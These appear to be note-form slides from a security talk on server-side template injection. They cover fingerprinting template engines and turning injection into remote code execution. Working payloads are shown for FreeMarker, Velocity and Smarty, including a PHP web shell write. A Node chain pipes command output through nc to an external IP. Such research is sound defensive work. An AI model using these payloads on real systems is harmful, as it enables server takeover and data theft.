> Dear ${user.first_name},
Dear sample01
> Dear ${user.password}
FreeMarket template error: the following has evaluated to null or missing...
Q: Is it safe to allow users to upload templates if they are untrusted? A. You should not allow this!
- Trail of breadcrumbs in documentation
- BurpSuite was failing to find an obvious XSS bug
- It was missed because the server was behaving weirdly
- This issue was template injection, not XSS! ... a rather serious vulnerability
- How common is Template Injection? How often do people find XSS not realizing its in fact Template Injection?
- How easy is it to get Template Injection?
- Started investigating
If developers allow this sort of functionality to users; they don't realize how dangerous it is.
User input that is unsafely embedded in a template :
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
- Detect the Template Engine used
- Build an exploit for it
- How do you recognize Template Injection? Given all the various engines?
Hello {user.name}
// Try and see what gets evaluated by the server
a{{bar}}b
Expected: 'ab' or error
a{{7*7}}b
Expected: 'a49b'
{var} ${var} {{var}} <%var%> [%var%]
// code
user.name
user.name<tag>
Expect error or empty string
user.name}} a<tag>
// safely enclose template tags; see how this is being processed
Expect <tag>
- Build a decision tree based on behavior from several template engines
- Use simple mathematical expressions
- BurpSuite users already have these type of detection features supported by BurpSuite
- Can something uniquely evil be done with on the server?
- Read the documentation! sounds quite lame.
- Often however, if you read the documentation you will read everything required to build out a full exploit against vulnerable template
- Template engines carry security considerations often highlighting dangerous functions
- What about default enabled templates or plugins?
- Determine what you have access to within the template exuection environment
- Is there a Self {}?
- Loop around the attributes and methods of the Self {} to determine everything you have access to
- Is there a Template Author section?
- Is there a Security Considerations section? Check those!
- What do you have access to within the environment? Most template engines have Self {}'s that contains everything that is in scope. Find the name. Then loop around those methods and attribute names to identify what you have access to and scope.
- Some template engines don't have a documented Self {} but some might use one for internal usage
- Variable brute forcing wordlist of potential attribute names (supported by BurpSuite)
- Usual goals: object creation, file read/write, RFI, information disclosure, privilege escalation.
- This presentation is focused on RCE.
- Template Engines are great for Information Disclosure because they are executing within an execution context and might reveal internal environment variables eg., Amazon Secret keys
- This is intended functionality
- Can't fault the developers as it was noted in documentation FreeMarker includes a class for Executing external commands that will fork processes
<#assign
ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
result: uid=119, etc.
- No Self {}
- If you send the class variable (class.java.lang.Object) the sever returns an classic Java.
- The purpose of this extension is for the use of Java Reflections in templates
- What is the Velocity way of looping around something?
$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()
returns: [5 second time delay]
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
returns: tomcat7
- PHP function whitelist
- Offers a secure mode to allow template modification for unknown users
- Implemented using a whitelist of accepted PHP functions
- Smarty has a Self {}
- getStreamVariable()
- Imports class Smarty_Internal_Write_File writes arbitrary contents to arbitrary locations
- The impression I'm getting is no one has audited these "sandbox" environments in template engines
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME, "<?php passthru($_GET['cmd']);?>", self::clearConfig())}
- No static calls
- No object references from functions
- There is a Self {} that is undocumented
- No directly exploitable methods
- But it does provide a _ self.env
- Is this a vulnerability in Twig? No, it has a sandbox mode! This is where things get tricky.
- No attribute retrieval
- Method call whitelist
- Arbitrary methods can be called on any object that implements the two interfaces
- Lets users submit templates in a variety of different languages
- Sandbox domains
- Find the Self {}
- Regex filters: split it into two statements
- var x = root.process
- x = x.mainModule
- for(var prop in x)
, #{prop}
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
- x.exec('id | nc 54.77.203.165 80')
// Setup a listener
clear && python -m SimpleHTTPServer 80
- How serious is template injection? it can be used to get shell on the server depending on the Object passed in
- As part of the Alfresco CMS install SELinux might be disabled system wide
- Template Engines are server-side sandboxes
- Template injections are there if you look for it